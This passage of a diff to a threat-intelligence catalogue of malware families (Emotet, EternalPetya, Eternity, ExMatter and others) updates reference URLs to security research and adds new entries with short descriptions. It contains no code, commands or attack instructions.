"https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/", + "https://www.lac.co.jp/lacwatch/alert/20211119_002801.html", "https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", + "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", + "https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/", + "https://blog.threatlab.info/malware-analysis-emotet-infection/", "https://adalogics.com/blog/the-state-of-advanced-code-injections", "http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/", "https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack", "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware", + "https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html", + "https://github.com/cecio/EMOTET-2020-Reversing", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", "https://hatching.io/blog/powershell-analysis", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf", + "https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams", "https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/", "https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/", "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", + "https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/", "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/", + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", "https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html", - "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/", + "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", "https://www.youtube.com/watch?v=_mGMJFNJWSk", "https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/", "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128", @@ -16861,70 +20226,103 @@ "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", "http://ropgadget.com/posts/defensive_pcres.html", "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", "https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", "https://cert.grnet.gr/en/blog/reverse-engineering-emotet/", + "https://muha2xmad.github.io/unpacking/emotet-part-2/", "https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://blogs.cisco.com/security/emotet-is-back", + "https://persianov.net/emotet-malware-analysis-part-1", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://blogs.vmware.com/security/2022/05/emotet-config-redux.html", + "https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html", + "https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", "https://intel471.com/blog/emotet-takedown-2021/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", "https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc", "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612", "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", "https://feodotracker.abuse.ch/?filter=version_e", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://community.riskiq.com/article/2cd1c003", "https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://asec.ahnlab.com/en/33600/", "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", "https://unit42.paloaltonetworks.com/domain-parking/", "https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://spamauditor.org/2020/10/the-many-faces-of-emotet/", "https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/", + "https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet", + "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", + "https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection", "https://securelist.com/the-chronicles-of-emotet/99660/", "https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/", "https://twitter.com/milkr3am/status/1354459859912192002", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", "https://github.com/d00rt/emotet_research", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one", "https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/", + "https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/", "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates", + "https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", "https://isc.sans.edu/diary/rss/27036", "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html", "https://www.youtube.com/watch?v=EyDiIAt__dI", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://isc.sans.edu/diary/rss/28254", "https://d00rt.github.io/emotet_network_protocol/", - "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://twitter.com/eduardfir/status/1461856030292422659", "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", - "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", + "https://cyber.wtf/2021/11/15/guess-whos-back/", "https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf", - "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/", + "https://pl-v.github.io/plv/posts/Emotet-unpacking/", + "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de", "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", + "https://unit42.paloaltonetworks.com/new-emotet-infection-method/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", "https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", "https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/", + "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/", "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de" + "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/" ], "synonyms": [ "Geodo", @@ -16940,12 +20338,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader", + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "http://www.secureworks.com/research/threat-profiles/gold-burlap", "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", "https://paper.seebug.org/1301/", + "https://www.mandiant.com/media/12596/download", "http://www.secureworks.com/research/threat-profiles/gold-heron", "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://twitter.com/thor_scanner/status/992036762515050496", @@ -16984,9 +20384,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal", "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/" ], "synonyms": [ @@ -16997,6 +20398,21 @@ "uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", "value": "Enfal" }, + { + "description": "Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8dc64857-abb1-4926-8114-052f9ba4bc33", + "value": "Entropy" + }, { "description": "", "meta": { @@ -17010,6 +20426,21 @@ "uuid": "58071588-708d-447d-9fb4-8c9268142c82", "value": "Enviserv" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0890e245-319d-4291-8f49-21dbc9486181", + "value": "EnvyScout" + }, { "description": "", "meta": { @@ -17017,6 +20448,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red", "https://therecord.media/epsilonred-ransomware-group-hits-one-of-indias-financial-software-powerhouses/", "https://news.sophos.com/en-us/2021/05/28/epsilonred/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/" ], "synonyms": [ @@ -17054,6 +20486,7 @@ "https://laanwj.github.io/2016/08/22/blatsting.html", "https://laanwj.github.io/2016/09/11/buzzdirection.html", "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", "https://laanwj.github.io/2016/09/01/tadaqueos.html", "https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html" @@ -17116,6 +20549,20 @@ "uuid": "c4531af6-ab25-4266-af41-e01635a93abe", "value": "Eris" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.especter", + "https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/", + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3e89d4e6-f7bd-44fd-ade9-c3d408ce67fb", + "value": "ESPecter" + }, { "description": "", "meta": { @@ -17148,6 +20595,7 @@ "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/", "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html", @@ -17157,35 +20605,43 @@ "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", "https://gvnshtn.com/maersk-me-notpetya/", "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", + "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/", "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://securelist.com/schroedingers-petya/78870/", "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://securelist.com/bad-rabbit-ransomware/82851/", "https://www.riskiq.com/blog/labs/badrabbit/" ], @@ -17205,6 +20661,66 @@ "uuid": "6f736038-4f74-435b-8904-6870ee0e23ba", "value": "EternalPetya" }, + { + "description": "This malware is part of the Eternity Malware \"Framework\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "283928b7-2820-4230-a012-59302febff90", + "value": "Eternity Clipper" + }, + { + "description": "Eternity Framework Ransomware Payload", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0554d721-71d7-49ff-965c-1512427b303e", + "value": "Eternity Ransomware" + }, + { + "description": "This Stealer is part of the eternity malware project.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://twitter.com/3xp0rtblog/status/1509601846494695438", + "https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "94bf44d8-3eb3-42b0-b906-102f2b8548f5", + "value": "Eternity Stealer" + }, + { + "description": "This malware is part of the Eternity Malware \"Framework\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9bdffa86-2bed-4d9d-8697-5d70e62015dc", + "value": "Eternity Worm" + }, { "description": "", "meta": { @@ -17262,7 +20778,8 @@ "https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A", "https://github.com/eset/malware-ioc/tree/master/evilnum", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/" + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets" ], "synonyms": [], "type": [] @@ -17270,6 +20787,19 @@ "uuid": "da922c36-ca13-4ea2-a22d-471e91ddac93", "value": "EVILNUM (Windows)" }, + { + "description": "A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout", + "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a90a1c08-00ea-49ad-8f79-9a4461fce48e", + "value": "EvilPlayout" + }, { "description": "Privately modded version of the Pony stealer.", "meta": { @@ -17360,6 +20890,21 @@ "uuid": "c932a2f3-1470-4b0c-8412-2d081901277b", "value": "Exile RAT" }, + { + "description": "Exfiltration tool written in .NET, used by at least one BlackMatter ransomware operator.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", + "https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool", + "https://twitter.com/knight0x07/status/1461787168037240834?s=20" + ], + "synonyms": [], + "type": [] + }, + "uuid": "615e22f7-1b0e-44a0-a666-b95cb6b5e279", + "value": "ExMatter" + }, { "description": "Ransomware.", "meta": { @@ -17373,6 +20918,24 @@ "uuid": "d742986c-04f0-48ef-aaa3-10eeb0e95be4", "value": "Exorcist" }, + { + "description": "Expiro malware has been around for more than a decade, and the malware authors sill continue their work and update it with more features. Also the infection routine was changed in samples fround in 2017 (described by McAfee).\r\nExpiro \"infiltrates\" executables on 32- and 64bit Windows OS versions.\r\nIt has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials).\r\nThere is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/", + "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", + "https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf" + ], + "synonyms": [ + "Xpiro" + ], + "type": [] + }, + "uuid": "fd34b588-7b00-4924-827b-6118bece0af1", + "value": "Expiro" + }, { "description": "", "meta": { @@ -17493,8 +21056,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny", "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", - "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", - "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/" + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1" ], "synonyms": [ "DEMENTIAWHEEL" @@ -17566,7 +21132,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat", - "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis" + "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://www.youtube.com/watch?v=gjvnVZc11Vg", + "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html" ], "synonyms": [], "type": [] @@ -17649,6 +21218,20 @@ "uuid": "66781866-f064-467d-925d-5e5f290352f0", "value": "Feodo" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider", + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f557e98e-7e8c-450f-a2a2-abbe81a67a90", + "value": "FFDroider" + }, { "description": "", "meta": { @@ -17660,6 +21243,7 @@ "https://twitter.com/3xp0rtblog/status/1321209656774135810", "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", 